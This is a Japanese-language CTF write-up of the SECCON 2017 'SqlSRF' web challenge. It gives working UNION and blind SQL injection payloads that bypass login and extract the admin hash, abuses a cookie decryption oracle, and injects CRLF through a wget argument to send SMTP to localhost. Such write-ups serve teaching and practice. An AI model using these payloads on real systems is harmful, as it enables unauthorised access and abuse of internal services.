Tags: web ssrf sqli
Rating:
# ▼▼▼SqlSRF(Web:400)、71/1028team=6.9%▼▼▼
**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```
The root reply the flag to your mail address if you send a mail that subject is "give me flag" to root.
http://sqlsrf.pwn.seccon.jp/sqlsrf/
```
---
`http://sqlsrf.pwn.seccon.jp/sqlsrf/`
↓
```
Index of /sqlsrf
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[IMG] bg-header.jpg 2017-12-09 13:30 252K
[ ] index.cgi 2017-12-09 13:31 2.1K
[ ] index.cgi_backup2017..> 2017-12-09 13:31 2.1K
[ ] menu.cgi 2017-12-09 13:32 2.1K
```
↓
ディレクトリスティングの脆弱性があり、 `index.cgi_backup20171129のbackup`が存在するのでアクセスしてみる。
↓
```
#!/usr/bin/perl
use CGI;
my $q = new CGI;
use CGI::Session;
my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});
$s->expire('+1M'); require './.htcrypt.pl';
my $user = $q->param('user');
print $q->header(-charset=>'UTF-8', -cookie=>
[
$q->cookie(-name=>'CGISESSID', -value=>$s->id),
($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
]),
$q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');
my $errmsg = '';
if($q->param('login') ne '') {
use DBI;
my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB');
my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");
$errmsg = '<h2 style="color:red">Login Error!</h2>';
eval {
$sth->execute();
if(my @row = $sth->fetchrow_array) {
if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {
$s->param('autheduser', $q->param('user'));
print "<scr"."ipt>document.location='./menu.cgi';</script>";
$errmsg = '';
}
}
};
if($@) {
$errmsg = '<h2 style="color:red">Database Error!</h2>';
}
$dbh->disconnect();
}
$user = $q->escapeHTML($user);
print <<"EOM";
<div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;">
</div>
<div style="position:relative;top:300px;color:white;text-align:center;">
<h1>Login</h1>
<form action="?" method="post">$errmsg
<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;">
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
<tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr>
<tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr>
<tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr>
</table>
</form>
</div>
</body>
</html>
EOM
```
---
index.cgiにアクセスするとログイン画面、Remember meのチェック欄がある。
↓
index.cgiのソースを確認する
↓
`my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';");`
`if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) {`
↓
userパラメータを元に取得した暗号化済passと、入力passの暗号化した値が同じであればログインできる
また、userパラメータでSQLインジェクション可能★
---
さらに、index.cgiを確認する
↓
`($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)`
↓
`save=1`にすると、userパラメータが暗号化されて、Cookieの`remember`に返ってくるようだ
---
まず、仮パスワードとして「admin」という文字列が暗号化された値を取得する。
↓
`user=admin&pass=admin&save=1&login=Login`
↓
`Set-Cookie: remember=58474452dda5c2bdc1f6869ace2ae9e3;`
---
下記のようにuserでUNIONによるSQLインジェクションで、encrypt(admin)された値を取得させ、pass=adminにする。
↓
```
POST /sqlsrf/index.cgi? HTTP/1.1
Host: sqlsrf.pwn.seccon.jp
Content-Type: application/x-www-form-urlencoded
Cookie: CGISESSID=52296c9b4b1ccdce3533b590295958f9; remember=d2f37e101c0e76bcc90b5634a5510f64
user='UNION/**/SELECT/**/'58474452dda5c2bdc1f6869ace2ae9e3'--&pass=admin&save=1&login=Login
```
↓
ログイン成功!
---
ログインすると下記の2つのボタンがある。
`「netstat -tnl」`が使えるので使ってみる。
↓
```
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:25 :::* LISTEN
```
↓
25番ポート(smtpサーバー)が開いているので、ここにメール送信すればよさそう。
---
また、下記のような、任意のURLにwgetするボタンがあるがadminでログインしないと使えないようになっている。
↓
`「wget --debug -O /dev/stdout 'http://●●'」`
---
まずは、adminでログインするためにパスワードを取得しにいく。
↓
```
user='UNION/**/SELECT/**/CASE/**/WHEN/**/1/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin&save=1&login=Login ⇒ログイン成功
user='UNION/**/SELECT/**/CASE/**/WHEN/**/0/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin&save=1&login=Login ⇒Login Error!
```
↓
ブラインドSQLインジェクション可能
---
```
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),1,1)='d')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),2,1)='2')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),3,1)='f')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),4,1)='3')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),5,1)='7')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),6,1)='e')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),7,1)='1')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),8,1)='0')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),9,1)='1')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),10,1)='c')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),11,1)='0')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),12,1)='e')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),13,1)='7')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),14,1)='6')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),15,1)='b')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),16,1)='c')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),17,1)='c')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),18,1)='9')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),19,1)='0')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),20,1)='b')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),21,1)='5')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),22,1)='6')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),23,1)='3')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),24,1)='4')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),25,1)='a')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),26,1)='5')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),27,1)='5')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),28,1)='1')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),29,1)='0')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),30,1)='f')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),31,1)='6')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
login=Login&save=1&user='UNION/**/SELECT/**/CASE/**/WHEN/**/(substr((select/**/password/**/from/**/users/**/where/**/username='admin'),32,1)='4')/**/THEN/**/'58474452dda5c2bdc1f6869ace2ae9e3'/**/END/**/--&pass=admin
```
↓
`d2f37e101c0e76bcc90b5634a5510f64`
---
```
print $q->header(-charset=>'UTF-8', -cookie=>
[
$q->cookie(-name=>'CGISESSID', -value=>$s->id),
($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef)
]),
$q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black');
$user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');
~(省略)~
<tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr>
```
↓
rememberに暗号化された値を挿入してログインに失敗すればUsername欄に復号された値が表示されることがわかる。
↓
remember=`d2f37e101c0e76bcc90b5634a5510f64`に挿入して復号する
↓
```
POST /sqlsrf/index.cgi? HTTP/1.1
Host: sqlsrf.pwn.seccon.jp
Content-Type: application/x-www-form-urlencoded
Cookie: CGISESSID=52296c9b4b1ccdce3533b590295958f9; remember=d2f37e101c0e76bcc90b5634a5510f64
login=Login&save=1&user=&pass=admin
```
↓
`<tr><td>Username:</td><td><input type="text" name="user" value="Yes!Kusomon!!"></td></tr>`
↓
`Yes!Kusomon!!`というadminのパスワードが得られた。
---
ID:`admin`、Password:`Yes!Kusomon!!`でログインする
↓
先ほどの、`wget --debug -O /dev/stdout 'http://●●'`のボタンが使えるようになっている
↓
任意のURLにリクエスト送信が可能で取得したデータを表示してくれる。
---
### 【try1:任意コードアップロード⇒OSコマンドインジェクション⇒メール送信】
待ち受けサーバにPHPコードを置いて、アクセスさせたが、この方法はアップロード先が不明なためアクセス不可。
---
### 【try2:%0D%0aによるHTTPでのSMTP送信】
```
(参考)BlackhatUSA2017 by Orange
https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf
```
↓
HTTPでSMTPが送信できるようだ。
↓
```
POST /sqlsrf/menu.cgi? HTTP/1.1
Host: sqlsrf.pwn.seccon.jp
Content-Type: application/x-www-form-urlencoded
Cookie: remember=58474452dda5c2bdc1f6869ace2ae9e3; CGISESSID=42a0bc5a460e7a5d3eb1739784bf5816
Content-Length: 243
cmd=wget+--debug+-O+%2Fdev%2Fstdout+%27http%3A%2F%2F&args=127.0.0.1 %0D%0AHELO sqlsrf.pwn.seccon.jp%0D%0AMAIL FROM: <[email protected]>%0D%0ARCPT TO: <root@localhost>%0D%0ADATA%0D%0ASubject: give me flag%0D%0Atttt%0D%0A.%0D%0AQUIT%0D%0A:25/
```
↓
rootからメールが送信されてきた
↓
`Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19`
---
下記でEncrypted-FLAGを復号してみる
↓
```
POST /sqlsrf/index.cgi? HTTP/1.1
Host: sqlsrf.pwn.seccon.jp
Content-Type: application/x-www-form-urlencoded
Cookie: CGISESSID=52296c9b4b1ccdce3533b590295958f9; remember=37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19
login=Login&save=1&user=&pass=admin
```
↓
`<tr><td>Username:</td><td><input type="text" name="user" value="SECCON{SSRFisMyFriend!}">`
↓
`SECCON{SSRFisMyFriend!}`